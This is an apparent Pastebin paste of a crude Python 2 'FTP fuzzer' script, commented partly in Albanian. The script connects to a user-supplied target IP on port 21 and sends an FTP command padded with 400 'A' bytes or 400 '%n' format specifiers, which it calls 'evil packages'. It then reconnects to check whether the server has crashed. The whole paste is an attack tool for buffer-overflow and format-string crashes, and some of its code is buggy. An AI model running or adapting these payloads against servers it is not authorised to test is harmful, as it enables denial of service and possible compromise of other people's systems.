Guest User

ftp fuzzer

a guest
Jan 25th, 2013
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.74 KB | None | 0 0
  1. #security-hooligan.com
  2. #simple simple very simple ftp fuzzer v1
  3. import socket
  4. import sys
  5. from time import sleep
  6.  
  7. #themelimi i konfiguracionit
  8. class config():
  9.     def __init__(self,configuration):
  10.         self.configuration = configuration
  11.     def pconf(self):
  12.         for conf,dt in self.configuration.items():
  13.             print conf,dt
  14. #socket setting up (1)
  15. class Socket_Attack_CloseCheck():
  16.     def __init__(self):
  17.         global s
  18.         s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  19.     def connect(self):
  20.         host = raw_input("> ip   : ")
  21.         port = 21
  22.         try:
  23.             print "[*] Connecting to the target .."
  24.             sleep(1)
  25.             s.connect((host,port))
  26.             print "[*] Connecting successful "
  27.         except:
  28.             print "[-] Error occured while connecting .."
  29.             sys.exit(0)
  30. #seting up the attack
  31. #class Attack():
  32.     def _Attack_(self):
  33.         user_send=raw_input("> anonymous user and password : Y/N")
  34.         if user_send == "Y":
  35.             s.send("USER anonymous\r\n")
  36.             s.recv(1024)
  37.             s.send("PASS anonymous\r\n")
  38.             s.recv(1024)
  39.             pass
  40.         elif user_send == "N":
  41.             pass
  42.         #our evil packs for the attack
  43.         attack_scenario = {
  44.           'ch_junk'       : "\x41" * 400, #change if u want to
  45.           'format_string' : "%n" * 400 # ndrro nese don :) its up to you & nevojes
  46.         }
  47.         i=0
  48.         for attack in attack_scenario:
  49.             i=i+1
  50.             print i,"%s" % (attack)
  51.         chooce = raw_input("> ")
  52.         commandat = {
  53.           'ABOR' : 'abort a file transfer',
  54.           'CWD' : 'change working directory',
  55.           'DELE' : 'delete a remote file',
  56.           'LIST' : 'list remote files',
  57.           'MDTM' : 'return the modification time of a file',
  58.           'MKD' : 'make a remote directory',
  59.           'NLST' : 'name list of remote directory',
  60.           'PASS' : 'send password',
  61.           'PASV' : 'enter passive mode',
  62.           'PORT' : 'open a data port',
  63.           'PWD' : 'print working directory',
  64.           'QUIT' : 'terminate the connection',
  65.           'RETR' : 'retrieve a remote file',
  66.           'RMD' : 'remove a remote directory',
  67.           'RNFR' : 'rename from',
  68.           'RNTO' : 'rename to',
  69.           'SITE' : 'site-specific commands',
  70.           'SIZE' : 'return the size of a file',
  71.           'STOR' : 'store a file on the remote host',
  72.           'TYPE' : 'set transfer type',
  73.           'USER' : 'send username',
  74.           'ACCT' : 'send account information',
  75.           'APPE' : 'append to a remote file',
  76.           'CDUP' : 'CWD to the parent of the current directory',
  77.           'HELP' : 'return help on using the server',
  78.           'MODE' : 'set transfer mode',
  79.           'NOOP' : 'do nothing',
  80.           'REIN' : 'reinitialize the connection',
  81.           'STAT' : 'return server status',
  82.           'STOU' : 'store a file uniquely',
  83.           'STRU' : 'set file transfer structure',
  84.           'SYST' : 'return system type'
  85.         }
  86.         for comm,defi in commandat.items():
  87.             print comm,defi
  88.         command_sent=raw_input("> Command : Y/N")
  89.         if command_sent == "Y":
  90.             command=raw_input("> Command : ")
  91.             pass
  92.         elif command_sent == "N":
  93.             pass
  94.         else:
  95.             sys.exit(0)
  96.         if "2" in chooce:
  97.             try:
  98.                 print "[+] package size : %d " % len(attack_scenario['ch_junk'])
  99.                 print "[*] Sending our evil package"
  100.                 s.send(command + " " + attack_scenario['ch_junk'] + "\r\n")
  101.                 s.recv(1024)
  102.                 print "[*] Evil package sent."
  103.             except:
  104.                 print "[-} Error sending the evil package."
  105.         elif "1" in chooce:
  106.             try:
  107.                 print "[+] package size : %d " % len(attack_scenario['format_string'])
  108.                 print "[*] Sending our evil package"
  109.                 s.send(command + attack_scenario['format_string'] + "\r\n")
  110.                 s.recv(1024)
  111.                 print "[*] Evil package sent."
  112.                 print "-" * 10
  113.             except:
  114.                 print "[-} Error sending the evil package."
  115.  
  116.         else:
  117.             sys.exit(0)
  118. #Close the connection and try to connect again.
  119. #class CloseCheck():
  120.     def _CloseCheck_(self):
  121.         print "[*] Closing the connection and checking if it works"
  122.         s.close()
  123.         print "[*] Reconnecting to the server.. "
  124.         sleep(1)
  125.         try:
  126.             s.connect((host,port))
  127.             s.recv(1024)
  128.             print "[#] Our evil attack didnt succeed."
  129.             print "-" * 10
  130.         except:
  131.             print "[*] Evil attack succeded."
  132. #simple instructions on have to use it(even if u already know this)
  133. class HelpMe():
  134.     def __init__(self):
  135.         pass
  136.     def helping(self):
  137.         helpme=raw_input("press any key to continue")
  138.         _help_= {
  139.           '> ip'             : ' Target ip',
  140.           '>  '              : ' Chooce attack scenario',
  141.           '> Command : Y/N'  : ' Use a command while doing the attack(overflow) Y(YES),N(NO)',
  142.           '> Command'        : ' Command youd like to use'
  143.         }
  144.         a = 0
  145.         for h1s,h2s in _help_.items():
  146.             a=a+1
  147.             print a,h1s,h2s
  148.  
  149. THIS_CONF       = {
  150.   'w0t   :'   : 'bla bla bla',
  151.   'app   :'     : 'security-hooligan.com simplest-ftp-fuzzer'
  152.   }
  153. do_you_need     = raw_input("Do you need help? PO(PO if yes)")
  154. if "PO" in do_you_need:
  155.     ndihma      = HelpMe()
  156.     ndihma.helping()
  157.     print "-" * 10
  158.     pass
  159. else:
  160.     pass
  161.  
  162. conf            = config(THIS_CONF)
  163. conf.pconf()
  164. SAC             = Socket_Attack_CloseCheck()
  165. SAC.connect()
  166. SAC._Attack_()
  167. SAC._CloseCheck_()
Advertisement
Add Comment
Please, Sign In to add comment